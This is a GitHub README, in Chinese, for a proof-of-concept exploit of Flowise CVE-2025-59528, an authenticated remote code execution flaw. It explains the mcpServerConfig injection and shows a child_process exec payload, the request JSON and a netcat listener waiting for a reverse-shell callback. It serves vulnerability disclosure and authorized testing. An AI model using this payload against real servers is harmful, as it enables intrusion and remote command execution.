im-nymii/CVE-2025-59528

GitHub: im-nymii/CVE-2025-59528

这是一个针对Flowise CVE-2025-59528漏洞的Python PoC脚本,通过mcpServerConfig注入实现认证后的远程代码执行演示。

Stars: 1 | Forks: 0

[法语版本](README.fr.md) # CVE-2025-59528 概念验证 专注于在授权环境中对漏洞进行技术验证的最小化 PoC。 ## 前置条件 - 您必须拥有目标 Flowise 仪表板上的用户账户。 - 您必须拥有与该账户关联的有效 API 密钥。 - 在运行 PoC 之前,您必须在回调主机上启动一个监听器(例如:`nc -lvn 4444`)。 ## 使用示例 首先启动监听器: ``` nc -lvn 4444 ``` ``` python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY ``` 请用您授权环境的设置替换相应值。 ## CVE 摘要 - **受影响产品**:Flowise - **受影响版本**:低于 `3.0.5` - **类型**:`远程代码执行` - **入口点**:`POST /api/v1/node-load-method/customMCP` 端点 问题源于对 `inputs.mcpServerConfig` 的处理方式:该值以一种允许服务器端 JavaScript 执行的方式被解释。实际上,经过身份验证的攻击者可以注入一个调用 `child_process` 并执行操作系统命令的表达式。 ## 利用机制 利用流程如下: 1. 构建对 `customMCP` 端点的请求。 2. 在 `mcpServerConfig` 中放入恶意 JavaScript 表达式。 3. 触发 `process.mainModule.require('child_process')`。 4. 执行操作系统命令(`exec`/`execSync`)。 如果请求被接受,服务器将在其系统上下文中执行该命令。 ## 此 PoC 工作原理(`poc.py`) 该脚本接受四个参数: - `-d/--domain`:目标域名 - `-lh/--host`:回调 IP - `-lp/--port`:回调端口 - `-A/--api`:Bearer API 令牌 然后它执行以下操作: 1. 构建易受攻击的 URL:`http:///api/v1/node-load-method/customMCP` 2. 添加 `Authorization: Bearer ` 头部 3. 准备回调 shell 命令 4. 将该命令注入到 JS 表达式中: ``` ({ x: (function () { const cp = process.mainModule.require("child_process"); cp.exec(""); return 1; })(), }); ``` 5. 发送此 JSON: ``` { "loadMethod": "listActions", "inputs": { "mcpServerConfig": "" } } ``` 6. 打印 HTTP 状态和原始响应以供验证。 ## 为何此 PoC 更优(对比 EDB 52440) 与 EDB PoC(执行电子邮件/密码登录、使用类似浏览器的头信息并运行自由格式的 `--cmd`)相比,此脚本更适合纯粹的 PoC 验证: 1. **更直接**:无需登录流程,不必要的 HTTP 噪音更少。 2. **更低的破坏面**:与前端/认证配置绑定的步骤更少。 3. **适合 CI 自动化**:参数简单,输出快速。 4. **验证更清晰**:立即打印状态码和响应正文。 5. **专注于核心 CVE 路径**:`mcpServerConfig` 注入和服务器端执行。 简而言之:EDB 脚本是一个更通用的攻击演示,而此 PoC 更侧重于技术可复现性。 ## 当前局限性 - 假设已存在有效的 API 令牌。 - 不支持 `https` 模式或证书处理。 - 无重试/退避逻辑。 - 回调命令是硬编码的(尚未通过 `--cmd` 参数化)。 ## 负责任使用 仅在您拥有或获得明确授权的系统上进行测试。
标签:API安全, CVE-2025-59528, Flowise漏洞, Homebrew安装, JavaScript注入, JSON输出, PoC概念验证, 代码执行, 命令注入, 安全测试, 情报收集, 攻击性安全, 服务器端漏洞, 漏洞研究, 编程工具, 网络安全, 认证漏洞, 远程代码执行, 逆向工具, 隐私保护